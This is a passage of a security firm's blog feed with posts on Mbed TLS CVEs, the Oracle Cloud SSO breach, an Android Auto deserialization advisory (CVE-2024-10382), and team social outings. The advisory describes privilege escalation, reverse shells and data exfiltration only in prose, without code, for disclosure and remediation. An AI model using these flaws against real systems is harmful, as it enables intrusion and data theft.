href="https://mbed-tls.readthedocs.io/en/latest/security-advisories/mbedtls-security-advisory-2025-06-7/">Mbed TLS Advisory</a></p></li></ul></li><li><p>(Medium)<strong> </strong>Unchecked return value in LMS verification allows signature bypass</p><ul><li><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-49600">CVE-2025-49600</a> | <a href="https://github.com/Mbed-TLS/mbedtls-docs/blob/main/security-advisories/mbedtls-security-advisory-2025-06-3.md">Mbed TLS Advisory</a></p></li></ul></li><li><p>(Medium) Null pointer dereference in parsing X.509 distinguished names leading to DoS</p><ul><li><p>CVE-2025-48965 | <a href="https://mbed-tls.readthedocs.io/en/latest/security-advisories/mbedtls-security-advisory-2025-06-6/">Mbed TLS Advisory</a></p></li></ul></li><li><p>(Medium)<strong> </strong>Out-of-bounds read in LMS public key import leading to DoS or information disclosure</p><ul><li><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-49601">CVE-2025-49601</a> | <a href="https://mbed-tls.readthedocs.io/en/latest/security-advisories/mbedtls-security-advisory-2025-06-4/">Mbed TLS Advisory</a></p></li></ul></li><li><p>(Medium) Integer underflow in decoding PEM keys leading to DoS</p><ul><li><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-52497">CVE-2025-52497</a> | <a href="https://mbed-tls.readthedocs.io/en/latest/security-advisories/mbedtls-security-advisory-2025-06-2/">Mbed TLS Advisory</a></p></li></ul></li></ul><p><strong>Take Action and Dig Deeper</strong></p><p>Thanks to this proactive initiative, the Mbed TLS library is now more secure. We strongly urge all users to upgrade to <strong>version 3.6.4</strong> or later.</p><p>This project is a powerful example of how targeted investment from companies like Google can directly improve the security of foundational software we all rely on.</p><ul><li><p>For a complete technical breakdown of each vulnerability, you can access the full report on our GitHub: <strong><a href="https://github.com/califio/publications/blob/main/security-audits/mbed-tls-3.6.2/Mbed-TLS-3.6.2-Security-Audit-Report.pdf">Read the Mbed TLS 3.6.2 Security Audit Report (PDF)</a></strong></p></li><li><p>To help the community, the custom <strong><a href="https://github.com/califio/publications/tree/main/security-audits/mbed-tls-3.6.2/wycheproof">Wycheproof test drivers</a></strong> we developed are publicly available for download. We encourage you to integrate them into your own testing pipelines.</p></li></ul>]]></content:encoded></item><item><title><![CDATA[Oracle SSO, SOS]]></title><description><![CDATA[You've probably seen the news: Oracle Cloud got popped, exposing 6 million records from over 140,000 tenants.]]></description><link>https://blog.calif.io/p/oracle-sso-sos</link><guid isPermaLink="false">https://blog.calif.io/p/oracle-sso-sos</guid><dc:creator><![CDATA[Thai Duong]]></dc:creator><pubDate>Tue, 08 Apr 2025 07:49:17 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!9YOB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2dd1661d-61a4-4c98-9c9e-e3db9a0492a3_754x446.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>You've probably seen the news: <a href="https://www.reuters.com/technology/cybersecurity/oracle-tells-clients-second-recent-hack-log-in-data-stolen-bloomberg-news-2025-04-02/">Oracle Cloud got popped</a>, exposing 6 million records from over 140,000 tenants.<br><br>The breach came to light after user "rose87168" dropped the loot on <a href="https://breachforums.st/Thread-VERIFIED-REPLY-Oracle-cloud-traditional-hacked-login-X-oraclecloud-com">Breach Forums</a>. The alleged attacker disclosed to <a href="https://www.bleepingcomputer.com/news/security/oracle-denies-data-breach-after-hacker-claims-theft-of-6-million-data-records/">Bleeping Computer</a> that they used a known vulnerability to hit Oracle Cloud's SSO endpoint at login.&lt;region&gt;.<a href="http://oracle.com/">oracle.com</a>.<br><br>Chances are, it was either <a href="https://nvd.nist.gov/vuln/detail/cve-2021-35587">CVE-2021-35587</a> or <a href="https://nvd.nist.gov/vuln/detail/cve-2022-21445">CVE-2022-21445</a>. Both issues were discovered and reported by our very own <a href="https://www.linkedin.com/in/%C4%91%E1%BB%A9c-nguy%E1%BB%85n-2420aa165/">&#272;&#7913;c Nguy&#7877;n</a>, together with Jang Nguyen, who's also joined our red team on many fun adventures. Duc found the bugs before he even joined the team.<br><br>As Duc <a href="https://peterjson.medium.com/miracle-one-vulnerability-to-rule-them-all-c3aed9edeea2">explained</a> in his blog, these are monster bugs, affecting a wide swath of Oracle products and companies.<br><br>During their research, Jang and Duc even managed to pwn multiple systems under <a href="http://oracle.com/">oracle.com</a>, including the SSO endpoint at <a href="http://login.oracle.com/">login.oracle.com</a>.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!9YOB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2dd1661d-61a4-4c98-9c9e-e3db9a0492a3_754x446.webp" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!9YOB!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2dd1661d-61a4-4c98-9c9e-e3db9a0492a3_754x446.webp 424w, https://substackcdn.com/image/fetch/$s_!9YOB!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2dd1661d-61a4-4c98-9c9e-e3db9a0492a3_754x446.webp 848w, https://substackcdn.com/image/fetch/$s_!9YOB!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2dd1661d-61a4-4c98-9c9e-e3db9a0492a3_754x446.webp 1272w, https://substackcdn.com/image/fetch/$s_!9YOB!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2dd1661d-61a4-4c98-9c9e-e3db9a0492a3_754x446.webp 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!9YOB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2dd1661d-61a4-4c98-9c9e-e3db9a0492a3_754x446.webp" width="754" height="446" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2dd1661d-61a4-4c98-9c9e-e3db9a0492a3_754x446.webp&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:446,&quot;width&quot;:754,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:22466,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/webp&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://blog.calif.io/i/160844419?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2dd1661d-61a4-4c98-9c9e-e3db9a0492a3_754x446.webp&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!9YOB!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2dd1661d-61a4-4c98-9c9e-e3db9a0492a3_754x446.webp 424w, https://substackcdn.com/image/fetch/$s_!9YOB!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2dd1661d-61a4-4c98-9c9e-e3db9a0492a3_754x446.webp 848w, https://substackcdn.com/image/fetch/$s_!9YOB!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2dd1661d-61a4-4c98-9c9e-e3db9a0492a3_754x446.webp 1272w, https://substackcdn.com/image/fetch/$s_!9YOB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2dd1661d-61a4-4c98-9c9e-e3db9a0492a3_754x446.webp 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>In 2023, we used the same vuln to compromise an Oracle BI instance buried deep inside a bank during a beautiful money heist simulation.<br><br>Oracle products are notoriously complex, and Oracle is not exactly famous for fast patching. It took them more than six months to fix CVE-2021-35587 and CVE-2022-21445. Some deprecated product lines never got patches at all. As a result, many Oracle systems are left outdated and vulnerable.<br><br>At this point, if you're running Oracle, it's probably safer to assume you're already breached, and plan your defense accordingly.</p>]]></content:encoded></item><item><title><![CDATA[YouTube Threat Modeling]]></title><description><![CDATA[Last week, we delivered our first training session with YouTube engineers on the attacker's mindset and threat modeling.]]></description><link>https://blog.calif.io/p/youtube-threat-modeling</link><guid isPermaLink="false">https://blog.calif.io/p/youtube-threat-modeling</guid><dc:creator><![CDATA[Thai Duong]]></dc:creator><pubDate>Tue, 25 Mar 2025 03:56:43 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!5F5M!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F32a608a9-3902-4d14-8b2a-84b752320e01_2400x3195.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Last week, we delivered our first training session with YouTube engineers on the attacker's mindset and threat modeling. It went better than expected, with strong engagement and plenty of tough questions.</p><p>This training followed a series of fun, challenging projects we've delivered across YouTube, <a href="https://blog.calif.io/p/cve-2024-10382-arbitrary-code-execution">Android</a>, and Google. We're proud that our small team gets to support products and teams at this massive scale.</p><p>Honestly, every time I'm back at Google, I wonder why I ever left. The free (and healthy!) food, the beautiful office, the fascinating challenges, and the brilliant, kind people... Google really is one of the greatest companies on Earth.</p><p>Can we recreate this kind of energy? It's not easy, but we&#8217;re trying!</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!5F5M!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F32a608a9-3902-4d14-8b2a-84b752320e01_2400x3195.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!5F5M!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F32a608a9-3902-4d14-8b2a-84b752320e01_2400x3195.jpeg 424w, https://substackcdn.com/image/fetch/$s_!5F5M!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F32a608a9-3902-4d14-8b2a-84b752320e01_2400x3195.jpeg 848w, https://substackcdn.com/image/fetch/$s_!5F5M!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F32a608a9-3902-4d14-8b2a-84b752320e01_2400x3195.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!5F5M!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F32a608a9-3902-4d14-8b2a-84b752320e01_2400x3195.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!5F5M!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F32a608a9-3902-4d14-8b2a-84b752320e01_2400x3195.jpeg" width="1456" height="1938" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/32a608a9-3902-4d14-8b2a-84b752320e01_2400x3195.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1938,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1531473,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://vnhacker.substack.com/i/159688093?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F32a608a9-3902-4d14-8b2a-84b752320e01_2400x3195.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!5F5M!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F32a608a9-3902-4d14-8b2a-84b752320e01_2400x3195.jpeg 424w, https://substackcdn.com/image/fetch/$s_!5F5M!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F32a608a9-3902-4d14-8b2a-84b752320e01_2400x3195.jpeg 848w, https://substackcdn.com/image/fetch/$s_!5F5M!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F32a608a9-3902-4d14-8b2a-84b752320e01_2400x3195.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!5F5M!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F32a608a9-3902-4d14-8b2a-84b752320e01_2400x3195.jpeg 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div>]]></content:encoded></item><item><title><![CDATA[Calif Ski Team]]></title><description><![CDATA[In Vietnam, we have three seasons: hot, hotter, and damn hot!]]></description><link>https://blog.calif.io/p/calif-ski-team</link><guid isPermaLink="false">https://blog.calif.io/p/calif-ski-team</guid><dc:creator><![CDATA[Thai Duong]]></dc:creator><pubDate>Thu, 02 Jan 2025 05:07:46 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!Lq_K!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb0d273e3-89e3-4a0d-bcab-b3657b27499b.heic" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In Vietnam, we have three seasons: hot, hotter, and damn hot!</p><p>So you can imagine my shock when I first saw snow in Yosemite. June 2011, I'd been in the US for five minutes (okay, five months), and I thought, "This is it?!" It just looked like the ice in the freezer! We weren't rich, but my parents had a fridge for a long time, so I already knew what ice was.</p><p>Fast forward to my first <em>real</em> snow experience in Tahoe. Mind. Blown. &#129327; Been skiing for 10+ years now, and I'm basically a pro. Basically. With a bit more practice, I'm pretty sure I could represent Vietnam in the Winter Olympics before I hit 90 years old.</p><p>One of my big goals at Calif was to take the whole team skiing. Partly for team bonding, partly because these young folks are all better than me at pretty much everything, so skiing will be my chance to shine!</p><p>We were going to do a big company ski trip this Christmas, but life happened, and it ended up being just me, An, and the final boss. Think of it as a scouting mission! &#128526;</p><p>We got this sweet ski-in ski-out cabin in Palisades. Skied all day, hot tub in the afternoon... living the dream!</p><p>The best part? An loved it! So, if this whole Calif thing goes belly up, at least I've got <em>another</em> ski buddy. &#9975;&#65039;&#127867;</p><div class="image-gallery-embed" data-attrs="{&quot;gallery&quot;:{&quot;images&quot;:[{&quot;src&quot;:&quot;https://substackcdn.com/image/fetch/w_200,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb0d273e3-89e3-4a0d-bcab-b3657b27499b.heic&quot;},{&quot;src&quot;:&quot;https://substackcdn.com/image/fetch/w_200,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f741ff6-17f7-490c-bade-fd9956ee1b3a.heic&quot;},{&quot;src&quot;:&quot;https://substackcdn.com/image/fetch/w_200,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc2a721c-736f-45cf-9727-c365f0ae0a1a.heic&quot;},{&quot;src&quot;:&quot;https://substackcdn.com/image/fetch/w_200,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4acd43b-5546-4182-8279-324355395f57.heic&quot;},{&quot;type&quot;:&quot;image/heic&quot;,&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c86fdb68-6269-4b02-8599-b9fc9b8803e8.heic&quot;},{&quot;type&quot;:&quot;image/jpeg&quot;,&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8311d69c-772e-4a15-bcb3-a1a46a559795_4080x3072.jpeg&quot;},{&quot;type&quot;:&quot;image/jpeg&quot;,&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/86e8e0c0-23aa-4e99-aafb-a7442d4ee7d6_4080x3072.jpeg&quot;},{&quot;type&quot;:&quot;image/jpeg&quot;,&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/eb056eb2-f87b-438b-b72d-292fc2c7c208_4080x3072.jpeg&quot;},{&quot;type&quot;:&quot;image/jpeg&quot;,&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/04a26493-f333-47b1-a049-471dcbba02e9_4080x3072.jpeg&quot;}],&quot;caption&quot;:&quot;&quot;,&quot;alt&quot;:&quot;&quot;,&quot;staticGalleryImage&quot;:{&quot;type&quot;:&quot;image/png&quot;,&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6baa4cfa-640e-4952-98bc-e9aa3c5ac7e2_1456x1454.png&quot;}},&quot;isEditorNode&quot;:true}"></div>]]></content:encoded></item><item><title><![CDATA[CVE-2024-10382: Arbitrary code execution in Android Auto and various apps]]></title><description><![CDATA[In July 2024, Google engaged Calif to audit Android Automotive OS (AAOS) and Android Auto.]]></description><link>https://blog.calif.io/p/cve-2024-10382-arbitrary-code-execution</link><guid isPermaLink="false">https://blog.calif.io/p/cve-2024-10382-arbitrary-code-execution</guid><dc:creator><![CDATA[Khanh]]></dc:creator><pubDate>Wed, 18 Dec 2024 19:53:48 GMT</pubDate><enclosure url="https://substackcdn.com/image/youtube/w_728,c_limit/N3x1fPiAbL4" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In July 2024, Google engaged Calif to audit Android Automotive OS (AAOS) and Android Auto. The former is an infotainment platform built into your car. The latter is an Android system app that lets you use your phone's apps on your car's display.</p><p>This blog post, shared with Google&#8217;s permission, details an arbitrary code execution vulnerability (<a href="https://nvd.nist.gov/vuln/detail/cve-2024-10382">CVE-2024-10382</a>) discovered in the <a href="https://developer.android.com/jetpack/androidx/releases/car-app">Jetpack Car App Library</a> during the audit.</p><h2><strong>Impact</strong></h2><p>This vulnerability allows for local privilege escalation on Android. An attacker must first install a malicious app with limited privileges on the target device. This malicious app can then exploit the vulnerable Jetpack Car App Library within other high-privileged apps. For instance, an app without message reading permissions could gain this access by exploiting the vulnerability.</p><p>The impact is significant due to the widespread use of the Jetpack Car App Library across numerous system apps and the Android Automotive platform. Successful exploitation could grant attackers complete control over affected apps and potentially the underlying system.</p><p>Jetpack Car App Library versions 1.4.0 and 1.7.0-beta2 are confirmed to be vulnerable. Any Android app exporting a <a href="https://developer.android.com/reference/androidx/car/app/CarAppService">CarAppService</a> is also potentially vulnerable, including:</p><ul><li><p><a href="https://play.google.com/store/apps/details?id=com.google.android.projection.gearhead&amp;hl=en_US">Android Auto</a></p></li><li><p><a href="https://play.google.com/store/apps/details?id=com.google.android.dialer&amp;hl=en_US">Android Dialer</a></p></li><li><p><a href="https://play.google.com/store/apps/details?id=com.google.android.apps.messaging&amp;hl=en_US">Android Messages</a></p></li><li><p><a href="https://play.google.com/store/apps/details?id=com.google.android.apps.automotive.templates.host">Google Automotive App Host</a></p></li><li><p><a href="https://play.google.com/store/apps/details?id=com.google.android.apps.chromecast.app&amp;hl=en_US">Google Home</a></p></li><li><p><a href="https://play.google.com/store/apps/details?id=com.google.android.apps.youtube.music&amp;hl=en_US">YouTube Music</a></p></li><li><p><a href="https://play.google.com/store/apps/details?id=org.videolan.vlc&amp;hl=en_US">VLC for Android</a></p></li><li><p><a href="https://play.google.com/store/apps/details?id=com.waze&amp;hl=en_US">Waze</a></p></li></ul><h2><strong>Remediation</strong></h2><ul><li><p><strong>App developers:</strong> Update to Jetpack Car App Library version 1.7.0-beta03 or later.</p></li><li><p><strong>Android users:</strong> Update all affected apps to their latest versions.</p></li></ul><h2><strong>Proof of concepts</strong></h2><p>Three PoCs were developed to showcase the exploitability of this vulnerability.</p><p><strong>PoC 1: Google Automotive App Host</strong></p><p>This PoC demonstrates a malicious app compromising Google Automotive App Host and executing a sleep command.</p><div id="youtube2-N3x1fPiAbL4" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;N3x1fPiAbL4&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/N3x1fPiAbL4?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><p><strong>PoC 2: YouTube Music</strong></p><p>This PoC showcases a malicious app compromising YouTube Music, establishing a reverse shell, and exfiltrating sensitive app data.</p><div id="youtube2-0cC1svh6pMA" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;0cC1svh6pMA&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/0cC1svh6pMA?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><p><strong>PoC 3: Android Auto</strong></p><p>This PoC illustrates a malicious app compromising Android Auto and creating a reverse shell.</p><div id="youtube2-LtMaDwT0UV0" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;LtMaDwT0UV0&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/LtMaDwT0UV0?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><h2><strong>Vulnerability details</strong></h2><p>The vulnerability lies within the deserialization logic of CarAppService, a component of the Jetpack Car App Library that allows developers to create car applications. This logic enables the construction of arbitrary Java classes, potentially leading to remote code execution (RCE) when coupled with specific deserialization gadgets.</p><p>A future blog post will delve deeper into the technical aspects of the vulnerability and its exploitation.</p><h2><strong>Disclosure timeline</strong></h2><ul><li><p><strong>Sep 24, 2024</strong>: Calif reported the vulnerability to Google (<a href="https://issuetracker.google.com/issues/369441755">https://issuetracker.google.com/issues/369441755</a>).</p></li><li><p><strong>Nov 13, 2024</strong>: Google released Jetpack Car App Library 1.7.0-beta03 to address the vulnerability.</p></li><li><p><strong>Nov 20, 2024</strong>: CVE-2024-10382 was assigned and publicly disclosed.</p></li><li><p><strong>Dec 10, 2024</strong>: Calif requested permission to publish this blog post.</p></li><li><p><strong>Dec 18, 2024</strong>: Google granted Calif permission to publish the blog post.</p></li><li><p><strong>Jan 10, 2024</strong>: This blog post was made public.</p></li></ul>]]></content:encoded></item><item><title><![CDATA[What we do when we aren't hacking you]]></title><description><![CDATA[In my last year as a teenager, I worked as an IT assistant for Mr.]]></description><link>https://blog.calif.io/p/what-we-do-when-we-arent-hacking</link><guid isPermaLink="false">https://blog.calif.io/p/what-we-do-when-we-arent-hacking</guid><dc:creator><![CDATA[Calif]]></dc:creator><pubDate>Sat, 30 Nov 2024 00:31:19 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!ARXF!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce77cc79-17fe-48d4-9655-0734f24bc6be_3072x4080.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In my last year as a teenager, I worked as an IT assistant for Mr. Ho Huy, the big boss at Mai Linh Taxi.</p><p>The man was a total baller. Back in 2003, he was always rolling with a wad of crisp 500K bills &#8211; like, seriously, that's all he used. He would go out to eat and just tell them to keep the change!</p><p>I joined Mai Linh and dragged two of my buddies along. Truth be told, the three of us were pretty useless, basically a bunch of freeloaders. Mr. Huy hired us for some crazy reason, but he was always super nice to us.</p><p>One day, we were chilling in the office when Mr. Huy walked in and said, "Come with me, boys!" He took us straight to a tailor and got each of us two custom suits. They were super nice&#8212;fit perfectly, looked great, and lasted forever. I wore mine for years.</p><p>Anyway, that memory stuck with me, and ever since I&#8217;ve always secretly wished that some day I'd take a team of mine out for some new threads.</p><p>And, finally, we did it yesterday! It was super fun, at least for me &#128517;. Thankfully, most of our hackers and engineers also enjoyed it!</p><p>This shopping thing is actually very time consuming. Our ops team and I did a lot of research, hesitating between a tailor and a store, and ended up choosing the latter because they had more options and I'm already a fan.</p><p>Now we know how to do this, we want to make it into a Calif&#8217;s tradition. Next time I'd love to go back to the tailor that Mr. Huy took us to. If I remember correctly, it was Th&#7855;ng's Veston on Le Thanh Ton Street. If anyone knows where it moved to, let me know!</p><div class="image-gallery-embed" 